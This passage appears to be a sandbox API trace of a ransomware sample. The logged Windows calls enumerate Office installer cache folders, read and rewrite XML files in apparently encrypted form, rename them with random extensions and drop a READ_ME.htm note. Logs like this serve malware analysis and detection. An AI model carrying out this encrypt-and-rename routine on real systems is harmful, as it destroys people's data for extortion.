ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0xb87a4fc0, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd1fbc030, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x9ca36, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCFMUI.cab", cAlternateFileName="")) returned 1 [0134.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdc86a00, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0xdc86a00, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd1f70540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x246000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCFMUI.msi", cAlternateFileName="")) returned 1 [0134.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf06d040, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xdf06d040, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0xd1f70540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCFMUI.xml", cAlternateFileName="")) returned 1 [0134.470] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4198d7c0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4198d7c0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0134.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4198d7c0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4198d7c0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0134.471] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.471] SetErrorMode (uMode=0x0) returned 0x1 [0134.471] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml", lpFilePart=0x0) returned 0x49 [0134.471] SetErrorMode (uMode=0x1) returned 0x0 [0134.471] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\dcfmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.472] GetFileType (hFile=0x1d0) returned 0x1 [0134.472] SetErrorMode (uMode=0x0) returned 0x1 [0134.472] GetFileType (hFile=0x1d0) returned 0x1 [0134.473] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x4bf [0134.473] ReadFile (in: hFile=0x1d0, lpBuffer=0x2854ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2854ae8*, lpNumberOfBytesRead=0x21d4d8*=0x4bf, lpOverlapped=0x0) returned 1 [0134.487] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml", lpFilePart=0x0) returned 0x49 [0134.487] SetErrorMode (uMode=0x1) returned 0x0 [0134.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\dcfmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.489] GetFileType (hFile=0x1d0) returned 0x1 [0134.489] SetErrorMode (uMode=0x0) returned 0x1 [0134.489] GetFileType (hFile=0x1d0) returned 0x1 [0134.489] WriteFile (in: hFile=0x1d0, lpBuffer=0x2937438*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2937438*, lpNumberOfBytesWritten=0x21d478*=0x4c0, lpOverlapped=0x0) returned 1 [0134.490] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml", lpFilePart=0x0) returned 0x49 [0134.490] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml.0fm26x", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml.0fm26x", lpFilePart=0x0) returned 0x50 [0134.490] SetErrorMode (uMode=0x1) returned 0x0 [0134.491] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\dcfmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdf06d040, ftCreationTime.dwHighDateTime=0x1d0cbb1, ftLastAccessTime.dwLowDateTime=0xdf06d040, ftLastAccessTime.dwHighDateTime=0x1d0cbb1, ftLastWriteTime.dwLowDateTime=0x4cbf8cc0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x4c0)) returned 1 [0134.491] SetErrorMode (uMode=0x0) returned 0x1 [0134.492] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\dcfmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\DCFMUI.xml.0fm26x" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\dcfmui.xml.0fm26x")) returned 1 [0134.494] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.495] SetErrorMode (uMode=0x1) returned 0x0 [0134.495] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.495] GetFileType (hFile=0x1d0) returned 0x1 [0134.495] SetErrorMode (uMode=0x0) returned 0x1 [0134.495] GetFileType (hFile=0x1d0) returned 0x1 [0134.495] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x710 [0134.496] ReadFile (in: hFile=0x1d0, lpBuffer=0x29397b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x29397b0*, lpNumberOfBytesRead=0x21d4d8*=0x710, lpOverlapped=0x0) returned 1 [0134.517] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.517] SetErrorMode (uMode=0x1) returned 0x0 [0134.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.518] GetFileType (hFile=0x1d0) returned 0x1 [0134.518] SetErrorMode (uMode=0x0) returned 0x1 [0134.518] GetFileType (hFile=0x1d0) returned 0x1 [0134.518] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a1c9d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2a1c9d0*, lpNumberOfBytesWritten=0x21d478*=0x720, lpOverlapped=0x0) returned 1 [0134.520] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0134.520] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml.gjao61", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml.gjao61", lpFilePart=0x0) returned 0x4f [0134.520] SetErrorMode (uMode=0x1) returned 0x0 [0134.520] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4198d7c0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4198d7c0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4cc44f80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720)) returned 1 [0134.520] SetErrorMode (uMode=0x0) returned 0x1 [0134.521] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\Setup.xml.gjao61" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\setup.xml.gjao61")) returned 1 [0134.521] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0134.521] SetErrorMode (uMode=0x1) returned 0x0 [0134.522] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0090-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-0090-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0134.522] GetFileType (hFile=0x1d0) returned 0x1 [0134.522] SetErrorMode (uMode=0x0) returned 0x1 [0134.522] GetFileType (hFile=0x1d0) returned 0x1 [0134.522] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a21810*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2a21810*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0134.524] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0134.524] SetErrorMode (uMode=0x1) returned 0x0 [0134.524] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd16f56e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f24280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f24280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.535] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd16f56e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f24280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f24280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.535] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6cdfd410, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6cdfd410, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0134.535] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6b80780, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xa6b80780, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x719, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0134.535] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85984230, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x85984230, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd17419a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xcbc714, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0134.535] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x423b0b30, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x423b0b30, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x87f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0134.535] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x423b0b30, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x423b0b30, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x87f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0134.535] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.536] SetErrorMode (uMode=0x0) returned 0x1 [0134.536] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0134.536] SetErrorMode (uMode=0x1) returned 0x0 [0134.536] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd16f56e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f24280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f24280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0134.538] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd16f56e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd1f24280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f24280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.538] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6cdfd410, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x6cdfd410, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x247000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0134.538] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6b80780, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xa6b80780, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x719, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0134.538] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85984230, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x85984230, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd17419a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xcbc714, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0134.538] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x423b0b30, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x423b0b30, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x87f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0134.538] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x423b0b30, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x423b0b30, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x87f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0134.538] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0134.539] SetErrorMode (uMode=0x0) returned 0x1 [0134.539] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml", lpFilePart=0x0) returned 0x4d [0134.539] SetErrorMode (uMode=0x1) returned 0x0 [0134.539] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.541] GetFileType (hFile=0x1d0) returned 0x1 [0134.541] SetErrorMode (uMode=0x0) returned 0x1 [0134.541] GetFileType (hFile=0x1d0) returned 0x1 [0134.541] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x719 [0134.541] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a255b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2a255b8*, lpNumberOfBytesRead=0x21d4d8*=0x719, lpOverlapped=0x0) returned 1 [0134.649] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml", lpFilePart=0x0) returned 0x4d [0134.649] SetErrorMode (uMode=0x1) returned 0x0 [0134.649] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0134.651] GetFileType (hFile=0x1d0) returned 0x1 [0134.651] SetErrorMode (uMode=0x0) returned 0x1 [0134.651] GetFileType (hFile=0x1d0) returned 0x1 [0134.651] WriteFile (in: hFile=0x1d0, lpBuffer=0x2908800*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2908800*, lpNumberOfBytesWritten=0x21d478*=0x720, lpOverlapped=0x0) returned 1 [0134.652] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml", lpFilePart=0x0) returned 0x4d [0134.653] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml.ll6jcd", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml.ll6jcd", lpFilePart=0x0) returned 0x54 [0134.653] SetErrorMode (uMode=0x1) returned 0x0 [0134.653] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-00A1-0409-0000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-00a1-0409-0000-0000000ff1ce}-c\\onenotemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6b80780, ftCreationTime.dwHighDateTime=0x1d0cbb2, ftLastAccessTime.dwLowDateTime=0xa6b80780, ftLastAccessTime.dwHighDateTime=0x1d0cbb2, ftLastWriteTime.dwLowDateTime=0x4cd9bbe0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720)) returned 1 [0134.653] 